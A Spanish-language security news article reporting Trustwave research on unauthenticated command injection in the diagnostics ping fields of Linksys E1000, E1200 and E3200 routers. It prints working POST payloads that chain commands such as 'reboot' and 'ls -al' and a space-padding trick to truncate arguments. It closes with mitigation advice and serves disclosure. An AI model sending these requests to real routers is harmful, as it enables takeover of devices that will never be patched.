El
investigador Jason Leyrer, de Trustwave ha
publicado un artículo donde analiza dos
fallos de seguridad en routers WiFi de la marca Linksys de Cisco. Estas
vulnerabilidades permiten la ejecución de código remoto a través de la
inyección de comandos en el sistema operativo subyacente, sin necesidad de
autenticación en algunos casos. Están presentes en modelos cuyo soporte ya ha
acabado.
Las vulnerabilidades aprovechan
una falta de validación en el contenido suministrado por el usuario en los
campos ping_ip y ping_size. En el primer caso, al agregar dos caracteres "&" (ampersand) tras una IP válida
en codificación URL y seguidos del comando a ejecutar, se consigue la inyección
de comandos. Esto se traduce en una petición POST con parámetros. Por ejemplo:
submit_button=Diagnostics&change_action=gozila_cgi&submit_type=start_ping&action=&commit=0&ping_ip=127.0.0.1%26%26reboot&ping_times=5&ping_size=32&traceroute_ip=
Es interpretada por el sistema
como:
ping -t 30 -c 5 -R 66560 -s
32 -f /tmp/ping.log 127.0.0.1&&reboot &
Al terminar correctamente el comando ping, se ejecuta el comando inyectado,
en este caso reboot, que reiniciaría el router. Los comandos inyectados con
este método no pueden contener espacios, ya que no se construirán.
 |
Linksys E1000 |
Esta vulnerabilidad está presente
en el modelo E1000. Los modelos E1200/E3200 sí realizan validación de este
campo y no están afectados.
De manera similar se podría
explotar la inyección de comandos a través del campo ping_size. Sin embargo, el
sistema añade el resto de parámetros del comando ping tras el contenido
inyectado, lo que provoca que no sea valido. Por ejemplo:
submit_button=Diagnostics&change_action=gozila_cgi&submit_type=start_ping&action=&commit=0&ping_ip=127.0.0.1&ping_times=5&ping_size=32%20127.0.0.1%26%26ls%20%2Dal&traceroute_ip=
Se ejecuta como:
ping -t 30 -c 5 -R 66560 -s
32 127.0.0.1&&ls -al -f /tmp/ping.log 127.0.0.1 &
Lo cual no es válido. Para
solucionar esto, se puede aprovechar la restricción de tamaño en los comandos
del sistema. Si se adjuntan tras el comando una gran cantidad de caracteres
espacio codificados, el comando se truncará, dejando fuera el resto de
parámetros:
submit_button=Diagnostics&change_action=gozila_cgi&submit_type=start_ping&action=&commit=0&ping_ip=127.0.0.1&ping_times=5&ping_size=32%20127.0.0.1%26%26ls%20%2Dal%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20&traceroute_ip=
En el sistema:
ping
-t 30 -c 5 -R 66560 -s 32 127.0.0.1&&ls -al
Utilizando estos métodos, se podría conseguir una shell remota.
En el caso del modelo E1000, no
es necesario ningún tipo de autenticación para explotar las vulnerabilidades,
ya que el servidor HTTP no la pide. En cambio, para el resto de modelos sería
necesario autenticarse solo si el router no tiene su configuración de fábrica.
Leyrer señala que de los tres modelos vulnerables probados,
sólo uno, el E1200, sigue teniendo soporte por parte del fabricante, mientras
que los otros dos (E1000 y E3200) no recibirán ninguna actualización que resuelva
los fallos. Para estos, recomienda desactivar la interfaz de administración,
aunque esto puede no ser suficiente para evitar un ataque cross-site request
forgery.